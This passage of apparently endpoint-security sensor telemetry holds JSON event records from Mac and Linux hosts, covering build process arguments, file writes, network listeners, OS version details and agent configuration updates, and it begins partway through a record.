bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501","event_simpleName":"DeliverLocalFXToCloud","ConfigStateHash":"1620585913","aip":"67.43.156.14","ModelPrediction":"1436899696705536","SHA256HashData":"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2","Malicious":"0","ConfigBuild":"1007.4.0013701.1","FeatureExtractionVersion":"2","event_platform":"Mac","FXFileSize":"502032","Entitlements":"15","name":"DeliverLocalFXToCloudMacV4","PupAdwareDecisionValue":"12384657383358464","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","PupAdwareConfidence":"0","EffectiveTransmissionClass":"1","aid":"ffffffff45d647e6ae0ba8764a4bd570","MLModelVersion":"4","timestamp":"1625677489052","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CreateProcessArgs","ContextTimeStamp":"1625677524.929","ConfigStateHash":"3090255842","ContextProcessId":"365035560818271291","ContextThreadId":"365035560818271291","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","CommandLine":"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules","Entitlements":"15","name":"CreateProcessArgsMac","id":"ffffffff-1111-11eb-8332-020506b18db5","EffectiveTransmissionClass":"2","aid":"ffffffffb3a3442585c05abc61e290fc","timestamp":"1625677525128","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend"} +{"event_simpleName":"PdfFileWritten","ContextTimeStamp":"1625677488.523","ConfigStateHash":"3090255842","ContextProcessId":"364156540965623394","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"05000001000000000000000000000000f1321d0000000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"PdfFileWrittenMacV1","id":"ffffffff-1111-11eb-8903-022a1941b91f","EffectiveTransmissionClass":"2","aid":"ffffffffc4044541995bffd84b9df003","timestamp":"1625677488576","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95"} +{"event_simpleName":"GroupIdentity","GID":"242","AuthenticationUuidAsString":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","ConfigStateHash":"3967242894","aip":"67.43.156.13","AuthenticationId":"1119489580471877843","UserPrincipal":"user2@dom1","UserSid":"S-1-5-21-3852557355-3178143607-2040168074-1485","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"GroupIdentityMacV2","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","AuthenticationUuid":"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2","timestamp":"1625677478379","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"MachOFileWritten","ContextTimeStamp":"1625622611.845","ConfigStateHash":"3967242894","MachOSubType":"3","ContextProcessId":"364938429384226082","Size":"0","ContextThreadId":"0","aip":"67.43.156.13","SHA256HashData":"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198","FileIdentifier":"04000001000000000000000000000000ac41270400000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"MachOFileWrittenMacV3","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffff44564c2f8d76394cb25c31ab","timestamp":"1625677479336","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl"} +{"event_simpleName":"NetworkListenIP6","ContextTimeStamp":"1625622608.014","LocalAddressIP6":"0:0:0:0:0:0:0:0","RemoteAddressIP6":"0:0:0:0:0:0:0:0","ConfigStateHash":"3967242894","ConnectionFlags":"0","ContextProcessId":"364938390018585510","RemotePort":"0","aip":"67.43.156.13","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LocalPort":"8770","Entitlements":"15","name":"NetworkListenIP6MacV10","id":"ffffffff-1111-11eb-9dc2-029257dbe83b","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff44564c2f8d76394cb25c31ab","ConnectionDirection":"2","InContext":"0","timestamp":"1625677478929","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CurrentSystemTags","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","SystemTableIndex":"0","Entitlements":"15","name":"CurrentSystemTagsMacV1","id":"ffffffff-1111-11eb-b88d-06b7cb0d7bd7","EffectiveTransmissionClass":"0","aid":"ffffffff62714a708030d494ca0a7e60","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677502693","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewExecutableWritten","ContextTimeStamp":"1625677533.027","ConfigStateHash":"1620585913","ContextProcessId":"362208380891022165","Size":"596224","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"70a06a11057efb22285a7200a53e5b6bae001fe0a98d4b23d0f6a31ad818a005","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NewExecutableWrittenMacV2","id":"ffffffff-1111-11eb-985c-02152dd35bc1","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677533060","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.CVG7Ya/Zoom.app/Contents/MacOS/app_mode_loader","VnodeModificationType":"0"} +{"event_simpleName":"LfoUploadDataComplete","LfoUploadFlags":"4","AttemptNumber":"0","ConfigStateHash":"3090255842","SourceFileName":"/Users/user5/.rbenv/versions/2.6.5/bin/ruby","Size":"3876424","aip":"67.43.156.14","SHA256HashData":"d7b56e2a06304ecd343985a1aaedff2eb32ee1151bba0e152aff97c778b7562a","UploadId":"8023668629276690295","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LfoUploadDataCompleteMacV3","id":"ffffffff-1111-11eb-a2ab-024aafff599f","EffectiveTransmissionClass":"2","aid":"fffffffffbea48169985c2c2bae89d1d","Tags":"312, 11544872091698, 21990232555653, 21990232555859, 26388279066700, 26388279066703, 26388279066704, 26388279066705, 26388279066708, 26388279066849, 26388279066855, 26388279066948, 26388279066958, 26388279066970, 26388279067150, 26388279067174, 26388279067175, 26405458935929, 26405458935963, 26405458935964, 26405458936063, 26405458936087, 26405458936088, 26405458936130, 26405458936163, 26405458936164, 26405458936166, 26405458936167, 26405458936242, 26405458936306, 26405458936307, 26405458936357, 26405458936510, 26405458936511, 26405458936522, 26405458936523, 26422638805193, 26422638805230, 26422638805244, 26422638805245, 26422638805246, 26439818674539, 26439818674540, 26439818674541, 26439818674542, 26439818674543, 26439818674544, 26439818674614, 26439818674615, 26439818674616, 26439818674617, 26439818674678, 26439818674679, 26439818674680, 26439818674882, 26439818674883, 26439818674884, 26439818674894, 26439818674895, 26439818674896, 26456998543646, 26456998543647, 26456998543648, 26456998543649, 26456998543650, 26456998543651, 26456998543652, 26456998543653, 26456998543654, 26456998543656, 26456998543721, 26456998543722, 26456998543744, 26456998543793, 26456998543811, 26456998543903, 26456998543904, 26456998543950, 26456998543963, 26456998544000, 26456998544045, 26456998544086, 26456998544087, 26456998544115, 30803505447073, 30803505447074, 30803505447075, 30803505447076, 30803505447077, 30803505447078, 30803505447194, 30803505447195, 30803505447196, 30803505447528, 30803505447529, 30803505447530, 30803505447532, 30803505447533, 30803505447534, 30803505447537, 30803505447538, 30803505447539, 30803505447541, 30803505447542, 30803505447543, 30803505447567, 30803505447568, 30803505447569, 30803505447571, 30803505447572, 30803505447573, 30803505447575, 30803505447576, 30803505447577, 30803505447579, 30803505447580, 30803505447581, 30803505447583, 30803505447584","timestamp":"1625677428827","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LightningLatencyInfo","LightningLatencyState":"3","ConfigStateHash":"3090255842","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LightningLatencyInfoMacV1","id":"ffffffff-1111-11eb-b44e-069a02b0ad6b","EffectiveTransmissionClass":"0","aid":"ffffffffd452449b8d1eb7d85b146650","timestamp":"1625677453146","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NeighborListIP4","ConfigStateHash":"1620585913","NeighborList":"40-C7-29-FF-FF-FF|192.168.2.1|1|64-9A-BE-FF-FF-FF|192.168.2.10|0|F0-FF-FF-FF-A0-14|192.168.2.43|0|DE-58-FF-FF-5D-3B|192.168.2.113|0|5E-AA-FF-FF-FF-20|192.168.2.128|0|44-FF-FF-FF-03-DD|192.168.2.136|0|EE-74-EE-EE-FF-0D|192.168.2.137|0|3A-FF-FF-FF-03-26|192.168.2.144|0|DE-79-FF-FF-FF-D4|192.168.2.145|0|0E-24-FF-EE-EE-87|192.168.2.152|0|CC-D9-AC-AF-66-F8|192.168.2.153|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP4MacV1","id":"ffffffff-1111-11eb-9dc0-06c6f5278873","EffectiveTransmissionClass":"3","aid":"ffffffff8eb649cf8d82be1e65629a0e","timestamp":"1625677450083","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ZipFileWritten","ContextTimeStamp":"1625677454.557","ConfigStateHash":"3090255842","ContextProcessId":"365039419134863763","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"07000001000000000000000000000000b1445a0900000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ZipFileWrittenMacV1","id":"ffffffff-1111-11eb-ab6e-0668ec51180b","EffectiveTransmissionClass":"2","aid":"ffffffff2d984e32b702789b54f0f811","timestamp":"1625677454723","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user6/Library/Developer/CoreSimulator/Devices/BCE6B46B-E863-4151-AA9D-D71C79438C47/data/Containers/Data/Application/1249A061-F246-4338-AE56-4373E918C9B4/Library/Application Support/com.instacart.instashopper/LogCache/2021-07-06T23:44:46.133Z.zip"} +{"AgentVersion":"6.24.13701.0","aip":"67.43.156.14","ConfigIDBase":"65994753","BiosReleaseDate":"01/06/2021","CpuFeaturesMask":"7494065083858915","ChasisManufacturer":"Apple Inc.","SystemSerialNumber":"C02F649EMD6R","event_platform":"Mac","AgentLoadFlags":"0","CpuVendor":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","BiosVersion":"1554.80.3.0.0 (iBridge: 18.16.14347.0.0,0)","CpuSignature":"591594","EffectiveTransmissionClass":"0","MoboProductName":"Mac-E1008331FDC96864","timestamp":"1625677460451","MicrocodeSignature":"16045690984229358334","event_simpleName":"AgentOnline","ContextTimeStamp":"1625677445.731","SystemProductName":"MacBookPro16,1","MoboManufacturer":"Apple Inc.","ConfigStateHash":"3967242894","ConfigBuild":"1007.4.0013701.1","SystemSku":" ","SensorGroupingTags":"","ConfigurationVersion":"10","AgentLocalTime":"1625677445.731","BiosManufacturer":"Apple Inc.","Entitlements":"15","name":"AgentOnlineMacV13","ConfigIDPlatform":"4","ComputerName":"comp2","ChassisType":"9","ConfigIDBuild":"13701","SystemManufacturer":"Apple Inc.","aid":"ffffffffbea440b9aad8b5bf222d303f","ProvisionState":"1","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"Zero"} +{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1625677438.515","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"365053399098988534","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","UID":"0","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileAccessedMacV1","id":"ffffffff-1111-11eb-956a-02748d01bd3d","EffectiveTransmissionClass":"2","aid":"ffffffff8eca418b7a861be9c5f7de1d","timestamp":"1625677438553","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/daemon.plist"} +{"MajorVersion":"19","event_simpleName":"OsVersionInfo","OSVersionFileData":"3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d38223f3e0a3c21444f435459504520706c697374205055424c494320222d2f2f4170706c652f2f44544420504c49535420312e302f2f454e222022687474703a2f2f7777772e6170706c652e636f6d2f445444732f50726f70657274794c6973742d312e302e647464223e0a3c706c6973742076657273696f6e3d22312e30223e0a3c646963743e0a093c6b65793e50726f647563744275696c6456657273696f6e3c2f6b65793e0a093c737472696e673e3139483532343c2f737472696e673e0a093c6b65793e50726f64756374436f707972696768743c2f6b65793e0a093c737472696e673e313938332d32303231204170706c6520496e632e3c2f737472696e673e0a093c6b65793e50726f647563744e616d653c2f6b65793e0a093c737472696e673e4d6163204f5320583c2f737472696e673e0a093c6b65793e50726f647563745573657256697369626c6556657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e50726f6475637456657273696f6e3c2f6b65793e0a093c737472696e673e31302e31352e373c2f737472696e673e0a093c6b65793e694f53537570706f727456657273696f6e3c2f6b65793e0a093c737472696e673e31332e363c2f737472696e673e0a3c2f646963743e0a3c2f706c6973743e0a","ConfigStateHash":"3967242894","AgentVersion":"6.24.13701.0","aip":"67.43.156.14","MinorVersion":"6","OSVersionString":"Darwin Kernel Version 19.6.0: Tue Jan 12 22:13:05 PST 2021; root:xnu-6153.141.16~1/RELEASE_X86_64","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"OsVersionInfoMacV3","RFMState":"0","id":"ffffffff-1111-11eb-b3de-06a53f021cc9","OSVersionFileName":"/System/Library/CoreServices/SystemVersion.plist","EffectiveTransmissionClass":"2","aid":"ffffffffbea440b9aad8b5bf222d303f","timestamp":"1625677462356","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.8.0010912.1","event_simpleName":"ConfigStateUpdate","event_platform":"Lin","ConfigStateHash":"1284133626","ConfigStateData":"0,0,1007.8.0010912.1|1,c,0|1,10,1|1,11,0|1,12,1|1,13,1|1,14,19|1,15,3|1,1f,4|1,22,3|1,3b,1|1,59,2d|1,d3,263|1,d4,0|1,eb,36|1,201,1|2,0,a8000000032,140000000085,18000000004c,18000000004f,180000000054,18000000022a,180000000248,180000000279,18000000027a,1800000002b4,180400000079,180400000225,180c00000133,180c00000285,181000000128,181000000180,18100000021f,181000000220,181000000280,1c0400000205|","name":"ConfigStateUpdateLinV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-8e88-068a8894a447","aid":"ffffffff4f4044b689d6420d303e4ecd","timestamp":"1625677436454","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"1333055909","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"/osfm/linux/bde98295e6e5fa4c6ba2acfebc2e9943c836bf2223aebb8b29e03c44df43cb53","DownloadPort":"443","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"LFODownloadConfirmationLinV1","CompletionEventId":"Event_KmaExtDownloadCompleteLinV1","id":"ffffffff-1111-11eb-8dee-0201f64cca29","aid":"ffffffff88b948c6abeeee910f6d8c33","timestamp":"1625677365906","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"KernelModuleArchiveExt11611"} +{"event_simpleName":"TarFileWritten","ContextTimeStamp":"1625677353.633","ConfigStateHash":"3090255842","ContextProcessId":"365049009681176519","ContextThreadId":"0","aip":"67.43.156.14","FileIdentifier":"050000010000000000000000000000005749420100000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"TarFileWrittenMacV1","id":"ffffffff-1111-11eb-9497-028a0bfcf603","EffectiveTransmissionClass":"2","aid":"ffffffffe6244708bd09a6c111f63f4a","timestamp":"1625677353895","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user7/.rbenv/versions/2.6.6/lib/ruby/gems/2.6.0/cache/database_cleaner-1.8.5.gem"} +{"event_simpleName":"AgentConnect","ConfigStateHash":"3967242894","NetworkContainmentState":"0","VerifiedCertificate":"7431e5f4c3c1ce4690774f0b61e05440883ba9a01ed00ba6abd7806ed3b118cf","aip":"67.43.156.14","ConfigIDBase":"65994753","FailedConnectCount":"404","ConnectType":"1","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","ConfigurationVersion":"10","Entitlements":"15","name":"AgentConnectMacV5","ConfigIDPlatform":"4","PreviousConnectTime":"1625673963.331","id":"ffffffff-1111-11eb-ba54-02a3616f6acd","ConfigIDBuild":"13701","ConnectTime":"1625677350.208","EffectiveTransmissionClass":"2","aid":"ffffffff2977460db2898ece881a9358","ProvisionState":"0","timestamp":"1625677350466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"LFODownloadConfirmation","ConfigStateHash":"3090255842","aip":"67.43.156.14","DownloadServer":"lfodown01-b.cloudsink.net","DownloadPath":"metahash+/cfs/channelfiles/0000000503/66d5e9ea15754bcfb5f9152ec7ac90ac/C-00000503-00000000-00000001.sys","DownloadPort":"443","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"LFODownloadConfirmationMacV1","CompletionEventId":"Event_ChannelDataDownloadCompleteMacV1","id":"ffffffff-1111-11eb-8b09-069ee8920171","EffectiveTransmissionClass":"0","aid":"ffffffff5e8b4724aa10088c4f71cd9a","timestamp":"1625677525235","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"C-00000503-00000000-00000001.sys"} +{"event_simpleName":"AsepFileChange","ContextTimeStamp":"1625677482.148","ConfigStateHash":"1620585913","ContextProcessId":"364936256754041721","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"AsepFileChangeMacV1","id":"ffffffff-1111-11eb-9e50-064be6e56df7","EffectiveTransmissionClass":"2","aid":"fffffffff1a64286a233d09974b1b377","timestamp":"1625677482403","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/System/Library/AssetsV2/com_apple_MobileAsset_MacSoftwareUpdate/5968e4faeba359dd5270ac282340cc4bd94d348c.asset/AssetData/payloadv2/ecc_data/System/Library/Spotlight/SystemPrefs.mdimporter/Contents/MacOS/SystemPrefs","VnodeModificationType":"6"} +{"event_simpleName":"TerminateProcess","RawProcessId":"76482","ContextTimeStamp":"1625677510.959","ConfigStateHash":"1284133626","ContextProcessId":"130732827553316","ContextThreadId":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0010912.1","event_platform":"Lin","TargetProcessId":"130732827553316","Entitlements":"15","name":"TerminateProcessLinV2","id":"ffffffff-1111-11eb-97d0-02b2813216eb","EffectiveTransmissionClass":"2","aid":"ffffffffdd094539a02b394c69a70aaf","timestamp":"1625677511067","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"ConfigBuild":"1007.4.0013701.1","event_simpleName":"FirewallEnabled","event_platform":"Mac","ConfigStateHash":"3090255842","Entitlements":"15","name":"FirewallEnabledMacV1","aip":"67.43.156.14","id":"ffffffff-1111-11eb-a9e6-067d21325a03","EffectiveTransmissionClass":"2","aid":"ffffffff70cf4070af024397f25007c7","timestamp":"1625677372544","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FsVolumeUnmounted","VolumeName":"Install Google Drive","ContextTimeStamp":"1625677332.283","ConfigStateHash":"3090255842","aip":"67.43.156.14","VolumeMediaBSDName":"disk2s2","VolumeMountPoint":"/private/tmp/KSInstallAction.dn6J5Xa1M4/m","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"FsVolumeUnmountedMacV1","id":"ffffffff-1111-11eb-8fd9-06866dcbd3d5","EffectiveTransmissionClass":"2","aid":"ffffffffed984e248973f3ada1eb543d","timestamp":"1625677334451","cid":"ffffffff15754bcfb5f9152ec7ac90ac","VolumeIsNetwork":"0"} +{"LocalAddressIP4":"0.0.0.0","event_simpleName":"NetworkListenIP4","ContextTimeStamp":"1625677474.525","ConfigStateHash":"2300098580","ConnectionFlags":"0","ContextProcessId":"328911864662804336","RemotePort":"0","aip":"67.43.156.14","ConfigBuild":"1007.8.0011308.1","event_platform":"Lin","LocalPort":"23165","Entitlements":"15","name":"NetworkListenIP4LinV5","id":"ffffffff-1111-11eb-88fd-06a17d0fdc05","Protocol":"6","EffectiveTransmissionClass":"3","aid":"ffffffff2a0d484da8f7a9cf8bde7164","RemoteAddressIP4":"0.0.0.0","ConnectionDirection":"2","InContext":"0","timestamp":"1625677474879","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"ELFFileWritten","ContextTimeStamp":"1625677526.828","ConfigStateHash":"1620585913","ContextProcessId":"363122200934575406","Size":"38798952","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"35e590a61d32b72651b0cd23594d04f4671d79a843106136cf6abc324cc19027","FileIdentifier":"040000010000000000000000000000006793f80200000000","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"ELFFileWrittenMacV1","id":"ffffffff-1111-11eb-985c-02152dd35bc1","ELFSubType":"4","EffectiveTransmissionClass":"2","aid":"ffffffff28414c2293e35c360213e723","timestamp":"1625677527114","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/folders/3c/z7j1h7dx3nz3xkl10c1vyxgh0000gp/T/.com.google.Chrome.M2zGjQ/_platform_specific/x86-64/zoom_x86_64.nexe"} +{"MajorVersion":"4","event_simpleName":"OsVersionInfo","OSVersionFileData":"4e414d453d22416d617a6f6e204c696e7578220a56455253494f4e3d2232220a49443d22616d7a6e220a49445f4c494b453d2263656e746f73207268656c206665646f7261220a56455253494f4e5f49443d2232220a5052455454595f4e414d453d22416d617a6f6e204c696e75782032220a414e53495f434f4c4f523d22303b3333220a4350455f4e414d453d226370653a322e333a6f3a616d617a6f6e3a616d617a6f6e5f6c696e75783a32220a484f4d455f55524c3d2268747470733a2f2f616d617a6f6e6c696e75782e636f6d2f220a","BootArgs":"BOOT_IMAGE\u003d/boot/vmlinuz-4.14.232-176.381.amzn2.x86_64 root\u003dUUID\u003d9f548782-8f9f-4dd9-873a-436ea8f3e8a6 ro console\u003dtty0 console\u003dttyS0,115200n8 net.ifnames\u003d0 biosdevname\u003d0 nvme_core.io_timeout\u003d4294967295 rd.emergency\u003dpoweroff rd.shell\u003d0","ConfigStateHash":"3712162471","AgentVersion":"6.19.11611.0","aip":"67.43.156.14","MinorVersion":"14","OSVersionString":"Linux localhost 4.14.232-176.381.amzn2.x86_64 #1 SMP Wed May 19 00:31:54 UTC 2021 x86_64","ConfigBuild":"1007.8.0011611.1","event_platform":"Lin","name":"OsVersionInfoLinV4","RFMState":"1","id":"ffffffff-1111-11eb-93d4-0624c36f3a79","OSVersionFileName":"/etc/os-release","aid":"ffffffff2d1245c0a32d5efcf9351272","timestamp":"1625677383466","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1625677439.099","GID":"0","ConfigStateHash":"3090255842","ContextProcessId":"364849347227309005","ContextThreadId":"0","aip":"67.43.156.13","FileIdentifier":"04000001000000000000000000000000cdf3100100000000","ConfigBuild":"1007.4.0013701.1","UID":"0","USN":"89566685","event_platform":"Mac","UnixMode":"384","Entitlements":"15","name":"CriticalFileModifiedMacV2","id":"ffffffff-1111-11eb-9262-0268ab613b49","EffectiveTransmissionClass":"2","aid":"ffffffff761b4a7d9962dd9e7e776044","timestamp":"1625677439398","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/private/var/db/dslocal/nodes/Default/users/user9.plist/"} 